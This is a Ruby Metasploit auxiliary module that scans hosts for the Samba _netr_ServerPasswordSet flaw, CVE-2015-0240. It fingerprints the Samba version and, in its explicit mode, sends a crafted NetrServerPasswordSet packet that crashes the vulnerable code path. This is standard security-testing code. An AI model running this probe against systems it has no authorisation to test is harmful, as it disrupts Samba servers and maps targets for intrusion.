270 lines
8.5 KiB
Ruby
270 lines
8.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/auxiliary/report'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
# Exploit mixins should be called first
|
|
include Msf::Exploit::Remote::DCERPC
|
|
include Msf::Exploit::Remote::SMB::Client
|
|
include Msf::Exploit::Remote::SMB::Client::Authenticated
|
|
|
|
# Scanner mixin should be near last
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
# Aliases for common classes
|
|
SIMPLE = Rex::Proto::SMB::SimpleClient
|
|
XCEPT = Rex::Proto::SMB::Exceptions
|
|
CONST = Rex::Proto::SMB::Constants
|
|
|
|
RPC_NETLOGON_UUID = '12345678-1234-abcd-ef00-01234567cffb'
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Samba _netr_ServerPasswordSet Uninitialized Credential State',
|
|
'Description' => %q{
|
|
This module checks if a Samba target is vulnerable to an uninitialized variable creds vulnerability.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Richard van Eeden', # Original discovery
|
|
'sleepya', # Public PoC for the explicit check
|
|
'sinn3r'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2015-0240'],
|
|
['OSVDB', '118637'],
|
|
['URL', 'https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240/'],
|
|
['URL', 'https://gist.github.com/worawit/33cc5534cb555a0b710b'],
|
|
['URL', 'https://www.nccgroup.com/en/blog/2015/03/samba-_netr_serverpasswordset-expoitability-analysis/']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'SMBDirect' => true,
|
|
'SMBPass' => '',
|
|
'SMBUser' => '',
|
|
'SMBDomain' => '',
|
|
'DCERPC::fake_bind_multi' => false
|
|
}
|
|
))
|
|
|
|
# This is a good example of passive vs explicit check
|
|
register_options([
|
|
OptBool.new('PASSIVE', [false, 'Try banner checking instead of triggering the bug', false])
|
|
])
|
|
|
|
# It's either 139 or 445. The user should not touch this.
|
|
deregister_options('RPORT', 'RHOST')
|
|
end
|
|
|
|
def rport
|
|
@smb_port || datastore['RPORT']
|
|
end
|
|
|
|
|
|
# This method is more explicit, but a major downside is it's very slow.
|
|
# So we leave the passive one as an option.
|
|
# Please also see #maybe_vulnerable?
|
|
def is_vulnerable?(ip)
|
|
begin
|
|
connect
|
|
smb_login
|
|
handle = dcerpc_handle(RPC_NETLOGON_UUID, '1.0','ncacn_np', ["\\netlogon"])
|
|
dcerpc_bind(handle)
|
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
|
|
::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
|
return false
|
|
rescue Errno::ECONNRESET,
|
|
::Rex::Proto::SMB::Exceptions::InvalidType,
|
|
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
|
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
|
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
|
::Rex::Proto::SMB::Exceptions::NoReply => e
|
|
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
|
return false
|
|
rescue ::Exception => e
|
|
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
|
return false
|
|
end
|
|
|
|
# NetrServerPasswordSet request packet
|
|
stub =
|
|
[
|
|
0x00, # Server handle
|
|
0x01, # Max count
|
|
0x00, # Offset
|
|
0x01, # Actual count
|
|
0x00, # Account name
|
|
0x02, # Sec Chan Type
|
|
0x0e, # Max count
|
|
0x00, # Offset
|
|
0x0e # Actual count
|
|
].pack('VVVVvvVVV')
|
|
|
|
stub << Rex::Text::to_unicode(ip) # Computer name
|
|
stub << [0x00].pack('v') # Null byte terminator for the computer name
|
|
stub << '12345678' # Credential
|
|
stub << [0x0a].pack('V') # Timestamp
|
|
stub << "\x00" * 16 # Padding
|
|
|
|
begin
|
|
dcerpc.call(0x06, stub)
|
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
|
|
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
|
rescue Errno::ECONNRESET,
|
|
::Rex::Proto::SMB::Exceptions::InvalidType,
|
|
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
|
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
|
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
|
::Rex::Proto::SMB::Exceptions::NoReply => e
|
|
elog("#{e.message}\n#{e.backtrace * "\n"}")
|
|
rescue ::Exception => e
|
|
if e.to_s =~ /execution expired/i
|
|
# So what happens here is that when you trigger the buggy code path, you hit this:
|
|
# Program received signal SIGSEGV, Segmentation fault.
|
|
# 0xb732ab3b in talloc_chunk_from_ptr (ptr=0xc) at ../lib/talloc/talloc.c:370
|
|
# 370 if (unlikely((tc->flags & (TALLOC_FLAG_FREE | ~0xF)) != TALLOC_MAGIC)) {
|
|
# In the Samba log, you'll see this as an "internal error" and there will be a "panic action".
|
|
# And then Samba will basically not talk back to you at that point. In that case,
|
|
# you will either lose the connection, or timeout, or whatever... depending on the SMB
|
|
# API you're using. In our case (Metasploit), it's "execution expired."
|
|
# Samba (daemon) will stay alive, so it's all good.
|
|
return true
|
|
else
|
|
raise e
|
|
end
|
|
end
|
|
|
|
false
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
|
|
# Returns the Samba version
|
|
def get_samba_info
|
|
res = ''
|
|
begin
|
|
res = smb_fingerprint
|
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError,
|
|
::Rex::Proto::SMB::Exceptions::ErrorCode
|
|
return res
|
|
rescue Errno::ECONNRESET,
|
|
::Rex::Proto::SMB::Exceptions::InvalidType,
|
|
::Rex::Proto::SMB::Exceptions::ReadPacket,
|
|
::Rex::Proto::SMB::Exceptions::InvalidCommand,
|
|
::Rex::Proto::SMB::Exceptions::InvalidWordCount,
|
|
::Rex::Proto::SMB::Exceptions::NoReply
|
|
return res
|
|
rescue ::Exception => e
|
|
if e.to_s =~ /execution expired/
|
|
return res
|
|
else
|
|
raise e
|
|
end
|
|
ensure
|
|
disconnect
|
|
end
|
|
|
|
res['native_lm'].to_s
|
|
end
|
|
|
|
|
|
# Converts a version string into an object so we can eval it
|
|
def version(v)
|
|
Gem::Version.new(v)
|
|
end
|
|
|
|
|
|
# Passive check for the uninitialized bug. The information is based on http://cve.mitre.org/
|
|
def maybe_vulnerable?(samba_version)
|
|
v = samba_version.scan(/Samba (\d+\.\d+\.\d+)/).flatten[0] || ''
|
|
return false if v.empty?
|
|
found_version = version(v)
|
|
|
|
if found_version >= version('3.5.0') && found_version <= version('3.5.9')
|
|
return true
|
|
elsif found_version >= version('3.6.0') && found_version < version('3.6.25')
|
|
return true
|
|
elsif found_version >= version('4.0.0') && found_version < version('4.0.25')
|
|
return true
|
|
elsif found_version >= version('4.1.0') && found_version < version('4.1.17')
|
|
return true
|
|
end
|
|
|
|
false
|
|
end
|
|
|
|
|
|
# Check command
|
|
def check_host(ip)
|
|
samba_info = ''
|
|
smb_ports = [445, 139]
|
|
smb_ports.each do |port|
|
|
@smb_port = port
|
|
samba_info = get_samba_info
|
|
vprint_status("Samba version: #{samba_info}")
|
|
|
|
if samba_info !~ /^samba/i
|
|
vprint_status("Target isn't Samba, no check will run.")
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if datastore['PASSIVE']
|
|
if maybe_vulnerable?(samba_info)
|
|
flag_vuln_host(ip, samba_info)
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
else
|
|
# Explicit: Actually triggers the bug
|
|
if is_vulnerable?(ip)
|
|
flag_vuln_host(ip, samba_info)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
end
|
|
end
|
|
|
|
return Exploit::CheckCode::Detected if samba_info =~ /^samba/i
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
|
|
# Reports to the database about a possible vulnerable host
|
|
def flag_vuln_host(ip, samba_version)
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:name => self.name,
|
|
:info => samba_version,
|
|
:refs => self.references
|
|
)
|
|
end
|
|
|
|
|
|
def run_host(ip)
|
|
peer = "#{ip}:#{rport}"
|
|
case check_host(ip)
|
|
when Exploit::CheckCode::Vulnerable
|
|
print_good("#{peer} - The target is vulnerable to CVE-2015-0240.")
|
|
when Exploit::CheckCode::Appears
|
|
print_good("#{peer} - The target appears to be vulnerable to CVE-2015-0240.")
|
|
when Exploit::CheckCode::Detected
|
|
print_status("#{peer} - The target appears to be running Samba.")
|
|
else
|
|
print_status("#{peer} - The target appears to be safe")
|
|
end
|
|
end
|
|
|
|
end
|
|
|